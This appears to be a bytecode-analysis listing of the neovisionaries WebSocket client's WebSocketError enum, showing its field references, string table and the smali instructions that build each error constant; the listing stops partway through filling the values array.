                                                • com.neovisionaries.ws.client.WebSocketError.COMPRESSION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.DECOMPRESSION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.SOCKET_CONNECT_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.PROXY_HANDSHAKE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.SOCKET_OVERLAY_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.SSL_HANDSHAKE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.NO_MORE_FRAME:Lcom/neovisionaries/ws/client/WebSocketError
                                                • com.neovisionaries.ws.client.WebSocketError.HOSTNAME_UNVERIFIED:Lcom/neovisionaries/ws/client/WebSocketError
                                                Strings
                                                • NOT_IN_CREATED_STATE
                                                • SOCKET_INPUT_STREAM_FAILURE
                                                • SOCKET_OUTPUT_STREAM_FAILURE
                                                • OPENING_HAHDSHAKE_REQUEST_FAILURE
                                                • OPENING_HANDSHAKE_RESPONSE_FAILURE
                                                • STATUS_LINE_EMPTY
                                                • STATUS_LINE_BAD_FORMAT
                                                • NOT_SWITCHING_PROTOCOLS
                                                • HTTP_HEADER_FAILURE
                                                • NO_UPGRADE_HEADER
                                                • NO_WEBSOCKET_IN_UPGRADE_HEADER
                                                • NO_CONNECTION_HEADER
                                                • NO_UPGRADE_IN_CONNECTION_HEADER
                                                • NO_SEC_WEBSOCKET_ACCEPT_HEADER
                                                • UNEXPECTED_SEC_WEBSOCKET_ACCEPT_HEADER
                                                • EXTENSION_PARSE_ERROR
                                                • UNSUPPORTED_EXTENSION
                                                • EXTENSIONS_CONFLICT
                                                • UNSUPPORTED_PROTOCOL
                                                • INSUFFICENT_DATA
                                                • INVALID_PAYLOAD_LENGTH
                                                • TOO_LONG_PAYLOAD
                                                • INSUFFICIENT_MEMORY_FOR_PAYLOAD
                                                • INTERRUPTED_IN_READING
                                                • IO_ERROR_IN_READING
                                                • IO_ERROR_IN_WRITING
                                                • FLUSH_ERROR
                                                • NON_ZERO_RESERVED_BITS
                                                • UNEXPECTED_RESERVED_BIT
                                                • FRAME_MASKED
                                                • UNKNOWN_OPCODE
                                                • FRAGMENTED_CONTROL_FRAME
                                                • UNEXPECTED_CONTINUATION_FRAME
                                                • CONTINUATION_NOT_CLOSED
                                                • TOO_LONG_CONTROL_FRAME_PAYLOAD
                                                • MESSAGE_CONSTRUCTION_ERROR
                                                • TEXT_MESSAGE_CONSTRUCTION_ERROR
                                                • UNEXPECTED_ERROR_IN_READING_THREAD
                                                • UNEXPECTED_ERROR_IN_WRITING_THREAD
                                                • PERMESSAGE_DEFLATE_UNSUPPORTED_PARAMETER
                                                • PERMESSAGE_DEFLATE_INVALID_MAX_WINDOW_BITS
                                                • COMPRESSION_ERROR
                                                • DECOMPRESSION_ERROR
                                                • SOCKET_CONNECT_ERROR
                                                • PROXY_HANDSHAKE_ERROR
                                                • SOCKET_OVERLAY_ERROR
                                                • SSL_HANDSHAKE_ERROR
                                                • NO_MORE_FRAME
                                                • HOSTNAME_UNVERIFIED
                                                Position Instruction Meta Information
                                                0new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                1const/4 v1, 0x0
                                                3const-string v2, "NOT_IN_CREATED_STATE"
                                                5invoke-direct {v0, v2, v1}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                6sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NOT_IN_CREATED_STATE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                7new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                8const/4 v2, 0x1
                                                10const-string v3, "SOCKET_INPUT_STREAM_FAILURE"
                                                12invoke-direct {v0, v3, v2}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                13sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_INPUT_STREAM_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                14new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                15const/4 v3, 0x2
                                                17const-string v4, "SOCKET_OUTPUT_STREAM_FAILURE"
                                                19invoke-direct {v0, v4, v3}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                20sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_OUTPUT_STREAM_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                21new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                22const/4 v4, 0x3
                                                24const-string v5, "OPENING_HAHDSHAKE_REQUEST_FAILURE"
                                                26invoke-direct {v0, v5, v4}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                27sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->OPENING_HAHDSHAKE_REQUEST_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                28new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                29const/4 v5, 0x4
                                                31const-string v6, "OPENING_HANDSHAKE_RESPONSE_FAILURE"
                                                33invoke-direct {v0, v6, v5}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                34sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->OPENING_HANDSHAKE_RESPONSE_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                35new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                36const/4 v6, 0x5
                                                38const-string v7, "STATUS_LINE_EMPTY"
                                                40invoke-direct {v0, v7, v6}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                41sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->STATUS_LINE_EMPTY:Lcom/neovisionaries/ws/client/WebSocketError;
                                                42new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                43const/4 v7, 0x6
                                                45const-string v8, "STATUS_LINE_BAD_FORMAT"
                                                47invoke-direct {v0, v8, v7}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                48sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->STATUS_LINE_BAD_FORMAT:Lcom/neovisionaries/ws/client/WebSocketError;
                                                49new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                50const/4 v8, 0x7
                                                52const-string v9, "NOT_SWITCHING_PROTOCOLS"
                                                54invoke-direct {v0, v9, v8}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                55sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NOT_SWITCHING_PROTOCOLS:Lcom/neovisionaries/ws/client/WebSocketError;
                                                56new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                57const/16 v9, 0x8
                                                59const-string v10, "HTTP_HEADER_FAILURE"
                                                61invoke-direct {v0, v10, v9}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                62sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->HTTP_HEADER_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                63new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                64const/16 v10, 0x9
                                                66const-string v11, "NO_UPGRADE_HEADER"
                                                68invoke-direct {v0, v11, v10}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                69sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NO_UPGRADE_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                70new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                71const/16 v11, 0xa
                                                73const-string v12, "NO_WEBSOCKET_IN_UPGRADE_HEADER"
                                                75invoke-direct {v0, v12, v11}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                76sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NO_WEBSOCKET_IN_UPGRADE_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                77new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                78const/16 v12, 0xb
                                                80const-string v13, "NO_CONNECTION_HEADER"
                                                82invoke-direct {v0, v13, v12}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                83sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NO_CONNECTION_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                84new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                85const/16 v13, 0xc
                                                87const-string v14, "NO_UPGRADE_IN_CONNECTION_HEADER"
                                                89invoke-direct {v0, v14, v13}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                90sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NO_UPGRADE_IN_CONNECTION_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                91new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                92const/16 v14, 0xd
                                                94const-string v15, "NO_SEC_WEBSOCKET_ACCEPT_HEADER"
                                                96invoke-direct {v0, v15, v14}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                97sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NO_SEC_WEBSOCKET_ACCEPT_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                98new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                99const/16 v15, 0xe
                                                101const-string v14, "UNEXPECTED_SEC_WEBSOCKET_ACCEPT_HEADER"
                                                103invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                104sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_SEC_WEBSOCKET_ACCEPT_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                105new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                107const-string v14, "EXTENSION_PARSE_ERROR"
                                                108const/16 v15, 0xf
                                                110invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                111sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->EXTENSION_PARSE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                112new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                114const-string v14, "UNSUPPORTED_EXTENSION"
                                                115const/16 v15, 0x10
                                                117invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                118sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNSUPPORTED_EXTENSION:Lcom/neovisionaries/ws/client/WebSocketError;
                                                119new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                121const-string v14, "EXTENSIONS_CONFLICT"
                                                122const/16 v15, 0x11
                                                124invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                125sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->EXTENSIONS_CONFLICT:Lcom/neovisionaries/ws/client/WebSocketError;
                                                126new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                128const-string v14, "UNSUPPORTED_PROTOCOL"
                                                129const/16 v15, 0x12
                                                131invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                132sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNSUPPORTED_PROTOCOL:Lcom/neovisionaries/ws/client/WebSocketError;
                                                133new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                135const-string v14, "INSUFFICENT_DATA"
                                                136const/16 v15, 0x13
                                                138invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                139sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->INSUFFICENT_DATA:Lcom/neovisionaries/ws/client/WebSocketError;
                                                140new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                142const-string v14, "INVALID_PAYLOAD_LENGTH"
                                                143const/16 v15, 0x14
                                                145invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                146sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->INVALID_PAYLOAD_LENGTH:Lcom/neovisionaries/ws/client/WebSocketError;
                                                147new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                149const-string v14, "TOO_LONG_PAYLOAD"
                                                150const/16 v15, 0x15
                                                152invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                153sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->TOO_LONG_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                154new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                156const-string v14, "INSUFFICIENT_MEMORY_FOR_PAYLOAD"
                                                157const/16 v15, 0x16
                                                159invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                160sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->INSUFFICIENT_MEMORY_FOR_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                161new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                163const-string v14, "INTERRUPTED_IN_READING"
                                                164const/16 v15, 0x17
                                                166invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                167sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->INTERRUPTED_IN_READING:Lcom/neovisionaries/ws/client/WebSocketError;
                                                168new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                170const-string v14, "IO_ERROR_IN_READING"
                                                171const/16 v15, 0x18
                                                173invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                174sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->IO_ERROR_IN_READING:Lcom/neovisionaries/ws/client/WebSocketError;
                                                175new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                177const-string v14, "IO_ERROR_IN_WRITING"
                                                178const/16 v15, 0x19
                                                180invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                181sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->IO_ERROR_IN_WRITING:Lcom/neovisionaries/ws/client/WebSocketError;
                                                182new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                184const-string v14, "FLUSH_ERROR"
                                                185const/16 v15, 0x1a
                                                187invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                188sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->FLUSH_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                189new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                191const-string v14, "NON_ZERO_RESERVED_BITS"
                                                192const/16 v15, 0x1b
                                                194invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                195sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NON_ZERO_RESERVED_BITS:Lcom/neovisionaries/ws/client/WebSocketError;
                                                196new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                198const-string v14, "UNEXPECTED_RESERVED_BIT"
                                                199const/16 v15, 0x1c
                                                201invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                202sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_RESERVED_BIT:Lcom/neovisionaries/ws/client/WebSocketError;
                                                203new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                205const-string v14, "FRAME_MASKED"
                                                206const/16 v15, 0x1d
                                                208invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                209sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->FRAME_MASKED:Lcom/neovisionaries/ws/client/WebSocketError;
                                                210new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                212const-string v14, "UNKNOWN_OPCODE"
                                                213const/16 v15, 0x1e
                                                215invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                216sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNKNOWN_OPCODE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                217new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                219const-string v14, "FRAGMENTED_CONTROL_FRAME"
                                                220const/16 v15, 0x1f
                                                222invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                223sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->FRAGMENTED_CONTROL_FRAME:Lcom/neovisionaries/ws/client/WebSocketError;
                                                224new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                226const-string v14, "UNEXPECTED_CONTINUATION_FRAME"
                                                227const/16 v15, 0x20
                                                229invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                230sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_CONTINUATION_FRAME:Lcom/neovisionaries/ws/client/WebSocketError;
                                                231new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                233const-string v14, "CONTINUATION_NOT_CLOSED"
                                                234const/16 v15, 0x21
                                                236invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                237sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->CONTINUATION_NOT_CLOSED:Lcom/neovisionaries/ws/client/WebSocketError;
                                                238new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                240const-string v14, "TOO_LONG_CONTROL_FRAME_PAYLOAD"
                                                241const/16 v15, 0x22
                                                243invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                244sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->TOO_LONG_CONTROL_FRAME_PAYLOAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                245new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                247const-string v14, "MESSAGE_CONSTRUCTION_ERROR"
                                                248const/16 v15, 0x23
                                                250invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                251sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->MESSAGE_CONSTRUCTION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                252new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                254const-string v14, "TEXT_MESSAGE_CONSTRUCTION_ERROR"
                                                255const/16 v15, 0x24
                                                257invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                258sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->TEXT_MESSAGE_CONSTRUCTION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                259new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                261const-string v14, "UNEXPECTED_ERROR_IN_READING_THREAD"
                                                262const/16 v15, 0x25
                                                264invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                265sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_ERROR_IN_READING_THREAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                266new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                268const-string v14, "UNEXPECTED_ERROR_IN_WRITING_THREAD"
                                                269const/16 v15, 0x26
                                                271invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                272sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_ERROR_IN_WRITING_THREAD:Lcom/neovisionaries/ws/client/WebSocketError;
                                                273new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                275const-string v14, "PERMESSAGE_DEFLATE_UNSUPPORTED_PARAMETER"
                                                276const/16 v15, 0x27
                                                278invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                279sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->PERMESSAGE_DEFLATE_UNSUPPORTED_PARAMETER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                280new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                282const-string v14, "PERMESSAGE_DEFLATE_INVALID_MAX_WINDOW_BITS"
                                                283const/16 v15, 0x28
                                                285invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                286sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->PERMESSAGE_DEFLATE_INVALID_MAX_WINDOW_BITS:Lcom/neovisionaries/ws/client/WebSocketError;
                                                287new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                289const-string v14, "COMPRESSION_ERROR"
                                                290const/16 v15, 0x29
                                                292invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                293sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->COMPRESSION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                294new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                296const-string v14, "DECOMPRESSION_ERROR"
                                                297const/16 v15, 0x2a
                                                299invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                300sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->DECOMPRESSION_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                301new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                303const-string v14, "SOCKET_CONNECT_ERROR"
                                                304const/16 v15, 0x2b
                                                306invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                307sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_CONNECT_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                308new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                310const-string v14, "PROXY_HANDSHAKE_ERROR"
                                                311const/16 v15, 0x2c
                                                313invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                314sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->PROXY_HANDSHAKE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                315new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                317const-string v14, "SOCKET_OVERLAY_ERROR"
                                                318const/16 v15, 0x2d
                                                320invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                321sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_OVERLAY_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                322new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                324const-string v14, "SSL_HANDSHAKE_ERROR"
                                                325const/16 v15, 0x2e
                                                327invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                328sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->SSL_HANDSHAKE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                329new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                331const-string v14, "NO_MORE_FRAME"
                                                332const/16 v15, 0x2f
                                                334invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                335sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->NO_MORE_FRAME:Lcom/neovisionaries/ws/client/WebSocketError;
                                                336new-instance v0, Lcom/neovisionaries/ws/client/WebSocketError;
                                                338const-string v14, "HOSTNAME_UNVERIFIED"
                                                339const/16 v15, 0x30
                                                341invoke-direct {v0, v14, v15}, Lcom/neovisionaries/ws/client/WebSocketError;-><init>(Ljava/lang/String;I)V
                                                342sput-object v0, Lcom/neovisionaries/ws/client/WebSocketError;->HOSTNAME_UNVERIFIED:Lcom/neovisionaries/ws/client/WebSocketError;
                                                343const/16 v0, 0x31
                                                344new-array v0, v0, [Lcom/neovisionaries/ws/client/WebSocketError;
                                                346sget-object v14, Lcom/neovisionaries/ws/client/WebSocketError;->NOT_IN_CREATED_STATE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                347aput-object v14, v0, v1
                                                349sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_INPUT_STREAM_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                350aput-object v1, v0, v2
                                                352sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->SOCKET_OUTPUT_STREAM_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                353aput-object v1, v0, v3
                                                355sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->OPENING_HAHDSHAKE_REQUEST_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                356aput-object v1, v0, v4
                                                358sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->OPENING_HANDSHAKE_RESPONSE_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                359aput-object v1, v0, v5
                                                361sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->STATUS_LINE_EMPTY:Lcom/neovisionaries/ws/client/WebSocketError;
                                                362aput-object v1, v0, v6
                                                364sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->STATUS_LINE_BAD_FORMAT:Lcom/neovisionaries/ws/client/WebSocketError;
                                                365aput-object v1, v0, v7
                                                367sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NOT_SWITCHING_PROTOCOLS:Lcom/neovisionaries/ws/client/WebSocketError;
                                                368aput-object v1, v0, v8
                                                370sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->HTTP_HEADER_FAILURE:Lcom/neovisionaries/ws/client/WebSocketError;
                                                371aput-object v1, v0, v9
                                                373sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NO_UPGRADE_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                374aput-object v1, v0, v10
                                                376sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NO_WEBSOCKET_IN_UPGRADE_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                377aput-object v1, v0, v11
                                                379sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NO_CONNECTION_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                380aput-object v1, v0, v12
                                                382sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NO_UPGRADE_IN_CONNECTION_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                383aput-object v1, v0, v13
                                                385sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->NO_SEC_WEBSOCKET_ACCEPT_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                386const/16 v2, 0xd
                                                387aput-object v1, v0, v2
                                                389sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNEXPECTED_SEC_WEBSOCKET_ACCEPT_HEADER:Lcom/neovisionaries/ws/client/WebSocketError;
                                                390const/16 v2, 0xe
                                                391aput-object v1, v0, v2
                                                393sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->EXTENSION_PARSE_ERROR:Lcom/neovisionaries/ws/client/WebSocketError;
                                                394const/16 v2, 0xf
                                                395aput-object v1, v0, v2
                                                397sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNSUPPORTED_EXTENSION:Lcom/neovisionaries/ws/client/WebSocketError;
                                                398const/16 v2, 0x10
                                                399aput-object v1, v0, v2
                                                401sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->EXTENSIONS_CONFLICT:Lcom/neovisionaries/ws/client/WebSocketError;
                                                402const/16 v2, 0x11
                                                403aput-object v1, v0, v2
                                                405sget-object v1, Lcom/neovisionaries/ws/client/WebSocketError;->UNSUPPORTED_PROTOCOL:Lcom/neovisionaries/ws/client/WebSocketError;
                                                406const/16 v2, 0x12
                                                407aput-object v1, v0, v2
